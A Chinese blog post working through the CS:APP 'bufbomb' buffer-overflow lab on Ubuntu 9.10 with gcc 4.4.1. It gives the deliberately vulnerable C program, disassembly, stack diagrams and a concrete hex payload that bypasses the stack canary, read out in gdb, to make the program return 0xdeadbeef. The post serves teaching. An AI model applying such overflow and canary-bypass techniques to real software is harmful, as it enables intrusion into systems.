linux缓存区溢出攻击,Ubuntu 9.10环境下缓存区溢出攻击实验

环境:Ubuntu 9.10 kernel 2.6.31    gcc版本:4.4.1

这个是csapp 《深入理解计算机系统》的一道题,直接在原程序运行的时候实现缓存区溢出攻击已经不可能实现了,除非你是用的版本很低的内核和gcc,如gcc 3.4.3。

先是王珑珑同学做这道题,我也跟着做了下,花了挺长时间,这期间很感谢王珑珑同学的耐心讲解,thanks~~~

原题如下:

/* Bomb program that is solved using a buffer overflow attack */

#include

#include

#include

/* Like gets, except that characters are typed as pairs of hex digits.

Nondigit characters are ignored.  Stops when encounters newline */

char *getxs(char *dest)

{

int c;

int even = 1; /* Have read even number of digits */

int otherd = 0; /* Other hex digit of pair */

char *sp = dest;

while ((c = getchar()) != EOF && c != '\n') {

if (isxdigit(c)) {

int val;

if ('0' <= c && c <= '9')

val = c - '0';

else if ('A' <= c && c <= 'F')

val = c - 'A' + 10;

else

val = c - 'a' + 10;

if (even) {

otherd = val;

even = 0;

} else {

*sp++ = otherd * 16 + val;

even = 1;

}

}

}

*sp++ = '\0';

return dest;

}

/* $begin getbuf-c */

int getbuf()

{

char buf[12];

getxs(buf);

return 1;

}

void test()

{

int val;

printf("Type Hex string:");

val = getbuf();

printf("getbuf returned 0x%x\n", val);

}

/* $end getbuf-c */

int main()

{

int buf[16];

/* This little hack is an attempt to get the stack to be in a

stable position

*/

int offset = (((int) buf) & 0xFFF);

int *space = (int *) alloca(offset);

*space = 0; /* So that don't get complaint of unused variable */

test();

return 0;

}

正常时程序退出时总是返回1,现在要求通过缓存区溢出,让程序返回0xdeadbeef。

注:(由于现在gcc在代码汇编代码中添加了%gs的缓存区溢出验证机制,所以如果gcc的版本较高,本实验只能在gdb下完成)

下面的网址是王珑珑童鞋的实现方式,他的gcc版本是4.3.3:http://hi.baidu.com/featherain/blog/item/99207b4ede9b2cf3d62afc1e.html(通过在缓存区中植入一段攻击代码,然后让getbuf() ret到缓存区攻击代码出,最后让攻击代码返回text())。如果在gcc 4.4.1,4.3.2,3.4.3下用这种方法会报“段错误”(因为是从代码断跳转到了堆栈段)。

下面是实现缓存区溢出攻击的另一种方式。

输入:|任意十二个字符的编码||%gs:0x14||任意8个字符的编码||getbuf栈贞的基地  址||text()中第二个printf()的地址||01 00 00 00 ||71 87 04 08||ef be ad de|

下面解释为什么用输入上面哪些字符来实现缓存区溢出攻击。

用gcc编译生成buffbomb.c的可执行程序后,用objdump反汇编发现getbuf的函数如下:

080485c0 :

215  80485c0:   55                      push   %ebp

216  80485c1:   89 e5                   mov    %esp,%ebp

217  80485c3:   83 ec 28                sub    $0x28,%esp

218  80485c6:   65 a1 14 00 00 00       mov    %gs:0x14,%eax

219  80485cc:   89 45 f4                mov    %eax,-0xc(%ebp)

220  80485cf:   31 c0                   xor    %eax,%eax

221  80485d1:   8d 45 e8                lea    -0x18(%ebp),%eax

222  80485d4:   89 04 24                mov    %eax,(%esp)

223  80485d7:   e8 44 ff ff ff          call   8048520

224  80485dc:   b8 01 00 00 00          mov    $0x1,%eax

225  80485e1:   8b 55 f4                mov    -0xc(%ebp),%edx

226  80485e4:   65 33 15 14 00 00 00    xor    %gs:0x14,%edx

227  80485eb:   75 02                   jne    80485ef

228  80485ed:   c9                      leave

229  80485ee:   c3                      ret

230  80485ef:   90                      nop

231  80485f0:   e8 57 fe ff ff          call   804844c <__stack_chk_fail>

232  80485f5:   8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi

233  80485f9:   8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi

发现第217行:sub $0x28, %esp   即为getbuf()申请了40个字节的堆栈空间,我们申请的数组是从当前基址偏移24个字节开始的,负责检查缓存区溢出的%gs:0x14是从当前基址偏移12个字节开始的。

(注:4.4.1以前的版本char数组是从当前基址偏移16个字节处开始,负责检查缓存区溢出的%gs:0x14是从当前基址偏移4个字节开始的)

查看test()函数:

08048600 :

236  8048600:   55                      push   %ebp

237  8048601:   89 e5                   mov    %esp,%ebp

238  8048603:   83 ec 18                sub    $0x18,%esp

239  8048606:   c7 44 24 04 60 87 04    movl   $0x8048760,0x4(%esp)

240  804860d:   08

241  804860e:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)

242  8048615:   e8 f2 fd ff ff          call   804840c <__printf_chk>

243  804861a:   e8 a1 ff ff ff          call   80485c0

244  804861f:   c7 44 24 04 71 87 04    movl   $0x8048771,0x4(%esp)

245  8048626:   08

246  8048627:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)

247  804862e:   89 44 24 08             mov    %eax,0x8(%esp)

248  8048632:   e8 d5 fd ff ff          call   804840c <__printf_chk>

249  8048637:   c9                      leave

250  8048638:   c3                      ret

251  8048639:   8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi

从244行起是关键,246行是把指针指向位置设为1,由此猜测%esp存放的可能是printf的参数数目,247行是把eax的值压到esp+8的位置,由上面的getbuf的代码我们知道eax存放的是getbuf的返回值,所以我们只需要在调用call printf之前把0xdeadbeef压入esp+8的位置就可以实现我们的目的了。

正常时整个堆栈的情况如下所示:

——————

%eax

——————

0x8048771

——————

0x1                      

——————

返回地址(call getbuf下一条指令)

——————

%ebp

——————

8个字节

——————

%gs:0x14

——————

12个字节

——————

至此整体的思路已经有了:通过缓存区溢出修改printf的相关参数和getbuf()ret的地址,使之跳过call getbuf和call printf之间的代码,直接执行printf。即如下形式:

——————

0xdeadbeef

——————

0x8048771

——————

0x1                      

——————

返回地址(call printf的地址)

——————

%ebp

——————

8个字节

——————

%gs:0x14

——————

12个字节

——————

具体实现过程如下:

1.在getbuf中创建断点,得到%gs:0x14的值,读出ebp中存放的值

2.输入任意十二个字符填满char[12],继续输入%gs:0x14的值,迫使程序检查不出缓存区溢出,填满栈贞剩下的8个字节,输入ebp中存放的值,test()中call printf的地址,0x1,0x8048771,0xdeadbeef

即:aa aa aa aa aa aa aa aa aa aa aa aa 00 99 dd 78 11 11 11 11 11 11 11 11 d8 ef ff bf 32 86 04 08 01 00 00 00 71 87 04 08 ef bf ad de

总结;虽然实现了return 0xdeadbeef的目的,但是实际应用价值不大,尤其是%gs:0x14每次的值都会变化,所以只能在gdb模式下得到%gs:0x14的值然后在溢出时刻意将其添回,才不会被程序发现缓存区溢出,随着gcc的越变越聪明,给人的可趁之机也越来越少阿 ~~~0b1331709591d260c1c78e86d0c51c18.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值